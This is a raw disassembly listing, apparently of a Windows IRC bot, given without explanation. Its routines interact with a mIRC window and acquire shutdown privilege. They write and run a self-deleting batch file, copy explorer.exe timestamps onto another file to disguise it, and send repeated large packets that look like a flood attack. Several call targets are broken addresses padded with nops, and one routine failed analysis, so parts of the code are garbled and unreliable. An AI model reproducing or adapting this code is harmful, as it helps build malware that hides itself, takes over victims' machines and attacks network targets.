cmp dword_43AEA0, esi
jz short loc_40A6C8
push dword_43AEA4
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj
cmp dword_43AEA8, esi
jz short loc_40A6FC
push dword_43AEAC
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A6FC: ; CODE XREF: sub_40A4AC+222j
cmp dword_43AEB0, esi
jz short loc_40A730
push dword_43AEB4
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A730: ; CODE XREF: sub_40A4AC+256j
cmp dword_43AEB8, esi
jz short loc_40A764
push dword_43AEBC
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A764: ; CODE XREF: sub_40A4AC+28Aj
cmp dword_43AEC0, esi
jz short loc_40A798
push dword_43AEC4
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A798: ; CODE XREF: sub_40A4AC+2BEj
lea eax, [ebp+var_200]
push offset unk_42D764
push eax
call sub_4172B0
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A7C5
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_40A7C5: ; CODE XREF: sub_40A4AC+302j
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A4AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep
; sub_40EE72+C92p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_40A862
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_40A862
cmp [ebp+arg_8], esi
jz short loc_40A862
cmp byte ptr [eax], 0
jz short loc_40A862
push ebx
push edi
call sub_42274B
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40A85D
push [ebp+arg_4]
push edi
call sub_417880
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40A856
sub eax, edi
push eax
push edi
push ebx
call sub_418C10
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_417AB0
push eax
push [ebp+arg_8]
push ebx
call sub_418DE0
push [ebp+arg_4]
call sub_417AB0
add eax, esi
push eax
push ebx
call sub_4179D0
push ebx
push edi
call sub_4179C0
add esp, 30h
mov esi, edi
loc_40A856: ; CODE XREF: sub_40A7D7+3Cj
push ebx
call sub_417C3B
pop ecx
loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj
mov eax, esi
pop ebx
jmp short loc_40A864
; ---------------------------------------------------------------------------
loc_40A862: ; CODE XREF: sub_40A7D7+Cj
; sub_40A7D7+13j ...
xor eax, eax
loc_40A864: ; CODE XREF: sub_40A7D7+89j
pop edi
pop esi
pop ebp
retn
sub_40A7D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_417330
mov esi, [ebp+arg_0]
push esi
call sub_417AB0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_40A89E
loc_40A899: ; DATA XREF: ___:00428424o
; ___:00428468o ...
or eax, 0FFFFFFFFh
jmp short loc_40A911
; ---------------------------------------------------------------------------
loc_40A89E: ; CODE XREF: sub_40A868+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_40A8C0
loc_40A8AA: ; CODE XREF: sub_40A868+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_40A8B7
cmp dl, 0Dh
jnz short loc_40A8BB
loc_40A8B7: ; CODE XREF: sub_40A868+48j
and byte ptr [ecx+esi], 0
loc_40A8BB: ; CODE XREF: sub_40A868+4Dj
inc ecx
cmp ecx, eax
jl short loc_40A8AA
loc_40A8C0: ; CODE XREF: sub_40A868+40j
xor edx, edx
push edi
test eax, eax
jle short loc_40A8F1
lea edi, [ebp+var_7CC]
loc_40A8CD: ; CODE XREF: sub_40A868+87j
cmp byte ptr [edx+esi], 0
jnz short loc_40A8EC
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_40A8EC
cmp ebx, 1F4h
jge short loc_40A8F1
mov [edi], ecx
inc ebx
add edi, 4
loc_40A8EC: ; CODE XREF: sub_40A868+69j
; sub_40A868+74j
inc edx
cmp edx, eax
jl short loc_40A8CD
loc_40A8F1: ; CODE XREF: sub_40A868+5Dj
; sub_40A868+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_40A90F
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_417390
add esp, 0Ch
loc_40A90F: ; CODE XREF: sub_40A868+8Ej
mov eax, ebx
loc_40A911: ; CODE XREF: sub_40A868+34j
pop esi
pop ebx
leave
retn
sub_40A868 endp
; =============== S U B R O U T I N E =======================================
sub_40A915 proc near ; CODE XREF: sub_40A96F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_40A94E
push ebx
mov ebx, edi
loc_40A932: ; CODE XREF: sub_40A915+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_40A951
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_40A932
pop ebx
loc_40A94E: ; CODE XREF: sub_40A915+18j
pop edi
pop esi
retn
sub_40A915 endp
; =============== S U B R O U T I N E =======================================
sub_40A951 proc near ; CODE XREF: sub_40A915+25p
; sub_40A96F+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_419101
cmp al, 61h
pop ecx
jl short loc_40A96C
cmp al, 7Ah
jg short loc_40A96C
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_40A96C: ; CODE XREF: sub_40A951+Ej
; sub_40A951+12j
xor eax, eax
retn
sub_40A951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A96F proc near ; CODE XREF: sub_40C04D+10p
; sub_40C07F+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_417B30
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_417AB0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_417AB0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_40A915
add esp, 14h
dec esi
mov edi, esi
loc_40A9AD: ; CODE XREF: sub_40A96F+B6j
test esi, esi
jle short loc_40AA2B
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_419101
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_419101
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40AA23
loc_40A9D3: ; CODE XREF: sub_40A96F+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_40A951
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_40A9F4
mov eax, ecx
loc_40A9F4: ; CODE XREF: sub_40A96F+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_40AA27
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_419101
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_419101
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_40A9D3
loc_40AA23: ; CODE XREF: sub_40A96F+62j
dec edi
dec esi
jmp short loc_40A9AD
; ---------------------------------------------------------------------------
loc_40AA27: ; CODE XREF: sub_40A96F+8Aj
xor eax, eax
jmp short loc_40AA30
; ---------------------------------------------------------------------------
loc_40AA2B: ; CODE XREF: sub_40A96F+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_40AA30: ; CODE XREF: sub_40A96F+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_40A96F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Cp
; sub_40EE72+4AF5p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call near ptr 2660B07h
nop
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 2730000h
lea eax, [ebp+var_100]
loc_40AA6E: ; CODE XREF: sub_40AA35+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_40AA7A
cmp cl, 9
jnz short loc_40AA7D
loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej
inc eax
jmp short loc_40AA6E
; ---------------------------------------------------------------------------
loc_40AA7D: ; CODE XREF: sub_40AA35+43j
; sub_40AA35+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_40AA97
mov cl, [eax]
cmp cl, 2Eh
jz short loc_40AA7D
cmp cl, 21h
jl short loc_40AA7D
loc_40AA97: ; CODE XREF: sub_40AA35+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_43AEC8
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41782A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA35 endp
; =============== S U B R O U T I N E =======================================
sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p
push esi
push 0
call dword_43AD68
test eax, eax
jz short loc_40AAF6
push 1
call dword_43AD88
mov esi, eax
test esi, esi
jz short loc_40AAF6
push edi
push esi
nop
call near ptr 274079Dh
push esi
mov edi, eax
nop
call near ptr 2740000h
call dword_43ADEC
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AAF6: ; CODE XREF: sub_40AABF+Bj
; sub_40AABF+19j
xor eax, eax
pop esi
retn
sub_40AABF endp
; =============== S U B R O U T I N E =======================================
sub_40AAFA proc near ; CODE XREF: sub_40EE72+48BFp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_43ADA4
mov ebp, eax
cmp ebp, esi
jz short loc_40AB76
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 275036Eh
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 25B0000h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_4172B0
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_43ADF4
push esi
push 1
push 4C9h
push ebp
call dword_43ADF4
push ebx
nop
call near ptr 2750000h
push edi
nop
call near ptr 26408F3h
push 1
pop eax
pop ebx
jmp short loc_40AB78
; ---------------------------------------------------------------------------
loc_40AB76: ; CODE XREF: sub_40AAFA+16j
xor eax, eax
loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj
pop edi
pop esi
pop ebp
retn
sub_40AAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_43AE54
test eax, eax
jz short loc_40AC1B
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_424084
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40AC1B
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 27606BAh
push ebx
mov ebx, dword_424078
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40AC1B
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 2760000h
push esi
call ebx
loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj
; sub_40AB7C+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40AB7C endp
; =============== S U B R O U T I N E =======================================
sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_41511F
pop ecx
pop ecx
push 50005h
push 6
call dword_43ACE0
neg eax
sbb eax, eax
neg eax
retn
sub_40AC20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p
; sub_40EE72+59D4p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42F5C0, esi
push edi
jz short loc_40AC66
cmp dword_43AE68, esi
jnz short loc_40AC66
push esi
call sub_40C1AE
pop ecx
loc_40AC66: ; CODE XREF: sub_40AC42+13j
; sub_40AC42+1Bj
call sub_416F25
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 27800B9h
nop
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call near ptr 2660829h
nop
mov edi, eax
cmp edi, esi
jbe loc_40ADC6
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 2650000h
nop
push edi
call near ptr 26408F3h
nop
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_417330
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_436EDC
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 2720E52h
push eax
call near ptr 2670000h
nop
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 26A02F4h
cmp eax, 0FFFFFFFFh
jz short loc_40AD6E
lea eax, [ebp+var_15C]
push 80h
push eax
call near ptr 2780000h
nop
loc_40AD6E: ; CODE XREF: sub_40AC42+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 2770000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2760BE6h
loc_40ADC6: ; CODE XREF: sub_40AC42+72j
pop edi
pop esi
leave
retn
sub_40AC42 endp
; =============== S U B R O U T I N E =======================================
sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p
; sub_401992+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43ADD8
cmp eax, 0FFFFFFFFh
jnz short locret_40ADF2
push [esp+arg_0]
call dword_43AE1C
test eax, eax
jnz short loc_40ADEB
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj
retn
sub_40ADCA endp
; =============== S U B R O U T I N E =======================================
sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p
mov ecx, dword_43ACC0
xor eax, eax
test ecx, ecx
jz short locret_40AE01
call ecx
locret_40AE01: ; CODE XREF: sub_40ADF3+Aj
retn
sub_40ADF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_43AE14
mov ecx, eax
sub ecx, edi
jz loc_40AEC8
sub ecx, 32h
jz loc_40AEC1
sub ecx, 48h
jz short loc_40AE62
sub ecx, 6Eh
jz short loc_40AE5B
loc_40AE44: ; CODE XREF: sub_40AE02+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42DA5C
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_40AEA2
; ---------------------------------------------------------------------------
loc_40AE5B: ; CODE XREF: sub_40AE02+40j
push offset unk_42DA28
jmp short loc_40AE94
; ---------------------------------------------------------------------------
loc_40AE62: ; CODE XREF: sub_40AE02+3Bj
push [ebp+var_8]
call sub_417B89
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_417330
add esp, 10h
cmp esi, edi
jz short loc_40AE8F
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_43AE14
cmp eax, edi
jz short loc_40AEC8
jmp short loc_40AE44
; ---------------------------------------------------------------------------
loc_40AE8F: ; CODE XREF: sub_40AE02+79j
push offset unk_42D9E8
loc_40AE94: ; CODE XREF: sub_40AE02+5Ej
; sub_40AE02+C4j
lea eax, [ebp+var_88]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40AEA2: ; CODE XREF: sub_40AE02+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40BF6D
pop ecx
loc_40AEB2: ; CODE XREF: sub_40AE02+C8j
; sub_40AE02+DCj
push esi
call sub_417C3B
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AEC1: ; CODE XREF: sub_40AE02+32j
push offset unk_42D9A8
jmp short loc_40AE94
; ---------------------------------------------------------------------------
loc_40AEC8: ; CODE XREF: sub_40AE02+29j
; sub_40AE02+89j
cmp [esi], edi
jbe short loc_40AEB2
lea ebx, [esi+4]
loc_40AECF: ; CODE XREF: sub_40AE02+DAj
push ebx
call dword_43AE10
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AECF
jmp short loc_40AEB2
sub_40AE02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p
; sub_401D82+268p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_43AD3C
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43B0CC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4172B0
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AEE0 endp
; =============== S U B R O U T I N E =======================================
sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp
; sub_4010B5+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AF62
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AF55: ; CODE XREF: sub_40AF39+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AF55
pop edi
jmp short loc_40AF66
; ---------------------------------------------------------------------------
loc_40AF62: ; CODE XREF: sub_40AF39+Aj
mov edx, [esp+4+arg_0]
loc_40AF66: ; CODE XREF: sub_40AF39+27j
test esi, esi
pop esi
jz short loc_40AF70
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AF70: ; CODE XREF: sub_40AF39+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AF39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_43AD24
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_43ADD8
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40AFE1
lea eax, [ebp+var_C0]
push eax
call dword_43AE1C
cmp eax, ebx
jz short loc_40AFE7
loc_40AFE1: ; CODE XREF: sub_40AF86+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40B044
loc_40AFE7: ; CODE XREF: sub_40AF86+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42DAD8
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B027
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40D679
add esp, 14h
loc_40B027: ; CODE XREF: sub_40AF86+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40BF6D
push [ebp+var_30]
call sub_417078
pop ecx
pop ecx
push edi
call near ptr 261031Eh
nop
loc_40B044: ; CODE XREF: sub_40AF86+5Fj
cmp eax, ebx
jz short loc_40B054
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40B057
; ---------------------------------------------------------------------------
loc_40B054: ; CODE XREF: sub_40AF86+C0j
mov [ebp+var_4], esi
loc_40B057: ; CODE XREF: sub_40AF86+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_417330
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40B077
mov [ebp+var_3C], eax
loc_40B077: ; CODE XREF: sub_40AF86+ECj
cmp [ebp+var_38], edi
jge short loc_40B07F
mov [ebp+var_38], edi
loc_40B07F: ; CODE XREF: sub_40AF86+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40B0AC
loc_40B086: ; CODE XREF: sub_40AF86+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_43ACBC
inc esi
cmp esi, [ebp+var_40]
jl short loc_40B086
loc_40B0AC: ; CODE XREF: sub_40AF86+FEj
push [ebp+arg_0]
call dword_43AE50
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42DA9C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B0F5
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40D679
add esp, 14h
loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40BF6D
push [ebp+var_30]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 261031Eh
sub_40AF86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call near ptr 261077Ch
nop
push eax
call sub_417302
pop ecx
push 11h
push 2
push 2
call dword_43AE18
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_43ADD8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40B1F7
lea eax, [ebp+var_B0]
push eax
call dword_43AE1C
cmp eax, edi
jnz short loc_40B1F0
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42DB4C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B1D3
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40D679
add esp, 14h
loc_40B1D3: ; CODE XREF: sub_40B112+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40BF6D
push [ebp+var_20]
call sub_417078
pop ecx
pop ecx
push esi
call near ptr 261031Eh
nop
loc_40B1F0: ; CODE XREF: sub_40B112+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40B1FA
; ---------------------------------------------------------------------------
loc_40B1F7: ; CODE XREF: sub_40B112+6Ej
lea eax, [ebp+arg_0]
loc_40B1FA: ; CODE XREF: sub_40B112+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40B215
call sub_41730C
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40B218
; ---------------------------------------------------------------------------
loc_40B215: ; CODE XREF: sub_40B112+F0j
push [ebp+var_24]
loc_40B218: ; CODE XREF: sub_40B112+101j
call dword_43AD98
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40B22A
mov [ebp+var_24], esi
loc_40B22A: ; CODE XREF: sub_40B112+113j
